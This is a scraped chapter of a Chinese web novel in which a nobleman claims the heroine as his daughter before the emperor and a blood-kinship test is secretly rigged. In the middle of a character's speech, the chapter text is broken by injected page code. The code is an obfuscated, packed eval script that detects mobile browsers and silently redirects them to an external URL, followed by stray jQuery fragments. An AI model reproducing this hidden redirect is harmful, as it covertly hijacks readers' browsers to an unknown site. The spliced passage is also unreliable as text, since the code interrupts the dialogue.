156.滴血验亲

作品:《假死后,她的便宜兄长疯了

    高策跟上几步,见宣帝摆了手示意他退下,他这才将殿门闭上退了出去。


    “辅国公今日怎么入宫了?怎么,是知道东宫犯了错事不成?”辅国公此时入宫着实是个下下之策,前脚赵元熙才叫宣帝斥责了,后脚他就来面圣,这消息往来之快,若说他在宫里没安排人手,怕是无人会信。


    王泽先施一礼,随即道:“陛下容禀,老臣非是在宫中安排了眼线,而是在卓家安排了眼线。今日陛下命高内侍先后将卓恒夫妇传走,老臣想陛下心中定有疑惑,此次,老臣入宫便是与陛下解惑的。”


    宣帝:“解何惑?”


    王泽抬眸,一字一句,道:“姜涣,是老臣的女儿。”


    此言一出,姜涣当即转头瞧向一旁的辅国公,面上满是诧异神色。辅国公又道:“想必陛下也知晓,老臣在二十几年前曾与一女子相爱,因她之故,老臣甚至想要与杨氏和离迎她为正妻。”


    王泽那点子故旧的风流韵事,宣帝自然也是清楚的。王泽见宣帝未语,继续道:“当年,那女子不肯留下,腹中带着老臣的孩子就此离开遁走。老臣苦寻多年未果,也是在前些时日得见涣儿,见她腰间留有阿若的葡萄铃,且她容貌又与阿若很是相似,老臣心中存疑,便去寻了涣儿的师父。”


    “她将实情告知老臣,老臣这才知晓,涣儿是我的女儿。”王泽话至此处,当即将手中的画轴托于双手之上,道:“陛下,此乃阿若的画像,陛下一看便知。”


    宣帝令他将画轴呈上来,王泽上前将此画轴摆到御案之上,随即又走回原位,继续道:“老臣本想与涣儿父女相认,可涣儿的师父说,阿若死前只想叫涣儿远离我王家,不想叫她也如我一般没了婚嫁自由。”


    “老臣自知亏欠阿若繁多,既然此乃阿若遗愿,便只装做不知。先时涣儿成婚之时,老臣也替她备下嫁妆偷偷送去,不想叫卓家人瞧轻了涣儿。”


    王泽此语倒非是谎言,先时他确实送了一车又一车的金银绸缎田产铺子过去,那时他只觉得是一点为人父的心意罢了,此时提出来,倒也是能当个说辞的。


    宣帝打开画轴,画轴上的纸张已然泛黄,上头所绘之人眉眼之间确实与姜涣很是相似。宣帝半信半疑道:“她既是你的女儿,缘何不与她直说?”


    “因为臣不敢。”王泽道:“当年,臣欺瞒阿若已有妻室一事,叫阿若以为我与她乃是一生一世一双人。臣不敢叫涣儿知晓这些,若是可以,臣希望涣儿永远都不知道,哪怕臣不能与她父亲相称。”


    “可如今事关涣儿生死,臣,不得不说。”


    王泽话音方落,殿门便又叫人开启,不多时高策便端着两只装了清水的盏子入内。高策端着那两只盏子,道:“陛下,老奴已将水备好,随时可验。”


    王泽开口,道:“陛下,既然是滴血验亲,那涣儿只需与我还有卓殿帅一道验上一验,便知真假了。”


    宣帝未加思索,只与高策使了个眼色,高策便捧着水盏行至几人跟前。王泽与卓远山都取了呈盘上的针来戳破自己的指尖往盏中滴了一滴血,二人滴完血便退至一旁,倒是一旁的姜涣着实有些慌乱。


    她非是卓远山之女,是以她的血必不可能与卓远山相融,可她也非是王泽之女,这要与王泽的血相融,她也需提前备下东西才好做手脚。


    今日宫里传得急促,她本以为只是叫卓恒过去相问赵元熙夜闯新房一事,不曾想宣帝竟也召了自己去,直接疑心卓家欺君。


    她抬眸瞧了瞧卓远山,见他微微颌首,这才行至有着卓远山鲜血的那只盏子前,随后另取一根银针来扎破自己的指尖,将一滴血滴进了盏内。


    那滴血与卓远山的血各自落在两处,并未相融,高策见此,忙道:“陛下,卓夫人的血并不能与卓殿帅相融,想来她必不会是卓殿帅之女。”


    宣帝听罢,见姜涣迟迟未往另外一只盏中滴血,当即道:“怎么,你不与辅国公滴血验亲不成?”


    说实话,姜涣确实不敢。毕竟一个与自己毫不相干之人,此时自己也没带些什么东西能在这水里光明正大的动手脚,这血若不融便麻烦了。


    原本只需要她与卓远山滴血验上一验便可,偏这辅国公在此时闯了进来,早知道她便不叫底下人去辅国公府递消息了。


    今日宫中这般反常,姜涣料到会生事端,只是她猜不准是何事,是以,她便想着将消息递出去以防万一。而在这都城里,能相帮卓家且有能力随意入宫的,也就只有辅国公府了。


    是以,姜涣便命人在自己走后去辅国公府递消息。


    哪知这辅国公竟挑了这么一个借口来斡旋,当真是给自己寻事头。


    宣帝已然出声催促,然姜涣仍未有所行动,卓恒当即上前执着她的手缓缓移到有着辅国公鲜血的那只盏上。“放心。”简简单单的两个字过后,卓恒指尖稍稍用力,便又将一滴血自姜涣手中滴出。


    那滴血在水中漂浮蔓延,如同层层袅袅血烟在水中晕开,晕染出一幅未知的画作,渐渐地,这滴血便与另一抹红色融为一体,再也分不出彼此来。


    高策当即惊呼,道:“相融了,陛下,相融了,卓夫人当真是辅国公的女儿。”话毕,高策便端着呈盘去与宣帝看。


    宣帝抬眸去瞧,那呈盘之上的两盏水,一盏中血滴未融,一盏中两滴血已成一色,如此明显再不必再过问。


    虽证明卓家未有欺君,可这桩事亦叫宣帝高兴不起来。姜涣不单是臣妻,还是王氏女,这若是他日卓恒亡故,王家再将她二嫁入东宫,虽不能居以太子妃之位,但待自己大行之后依着赵元熙的性子将她立为继后也不是没有可能。


    如此,她的孩子便是嫡出,若再立为储,只怕是这赵姓的江山要改易王姓了。


    宣帝的心思王泽自然清楚,他见宣帝久未开口,又道:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16994369|182146||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “陛下,此事臣一直缄口不言,东宫也一直不知此事,若是陛下允准,臣想去一趟东宫,与太子殿下言明此事。”


    宣帝:“你要与太子言明什么?”


    王泽:“臣要与殿下明言涣儿为我王氏女这桩事实。不单如此,臣还要与殿下言明,臣会依从涣儿生母的意愿,此生不让涣儿入宫为妃。她只想让涣儿一身自在欢愉,宫中规矩繁多,不是涣儿所欢喜的。”


    王泽这话里话外的意思将立场摆得分明,他们王家不会送女儿入宫为妃,无论是进东宫还是进后宫。宣帝已然得到了自己想要的答案,而此时亦非是动王家的好机会,他略一思索,笑道:“那今日可是个好日子,恭喜辅国公父女相认。”


    王泽高呼多谢陛下,而后宣帝又言明会再行赐礼给王、卓两家,便叫他们退出去了。


    几人走到明辉殿下,王泽便与姜涣道:“涣儿,你们夫妻二人先到宫门外等我,我要去一趟东宫。”


    他说罢这话,又与卓远山道:“卓殿帅,你我两家改日再聚。”卓远山也一并应下,随后他们便该离宫的离宫,该当值的继续当值。


    姜涣一路上都未再开口,卓恒跟着她,盘算着等下要如何说谎才能与王泽的话套起来。虽王泽说的是实情,但他那等负心薄性的实情,委实不该叫姜涣知晓。


    二人离宫步上自家车驾,还未待卓恒想好说辞,姜涣便道:“你是什么时候跟辅国公商量好,要留这后手的?”


    姜涣这话叫卓恒愣在原处,一时未能回过味来。


    “我想了很久,这辅国公要把我安在他外室女的身份上,还提前准备好了画轴,还知道我阿娘的名字,甚至还知道我师父的名字,这事可不是随口编就能编出来的,这肯定是很久之前就商定好了的。你上次去辅国公府的时候,是不是就同他商量好了?”


    卓恒见姜涣全然没有将自己乃是王泽亲女一事上想,心下也松泛许多,随即道:“我那时确实是怕终有一日你的身份会被人提出来,所以去辅国公府时便与他提了提。原本我还当他会给你寻一个旁的身份,不曾想他竟直接给你安了一个他外室女的身份。”


    “不过他这借口也确实是好。”姜涣未有多想,“你看,现在我的身份是王氏女,那么陛下忌惮王氏,又怎么可能让赵元熙纳了我呢?不过今日这滴血验亲,他这是提前在自己身上摆了什么药粉吗?”


    毕竟不是亲生骨血,两滴血要相融,那必得是做些手脚才是。


    卓恒稍加思索,随即道:“许是辅国公早就去寻人讨要了此类药粉,所以才能及时解围。”


    “那这辅国公的手脚是真快。”姜涣若有所思道:“我当时离他这么近,我都没看到他是怎么做的手脚。好在他手脚快,不然要是让高策知道了,多半也是要声张的。”


    卓恒不想她继续念着方才之事,道:“眼下最为紧要的不是这事,而是赵明桢。”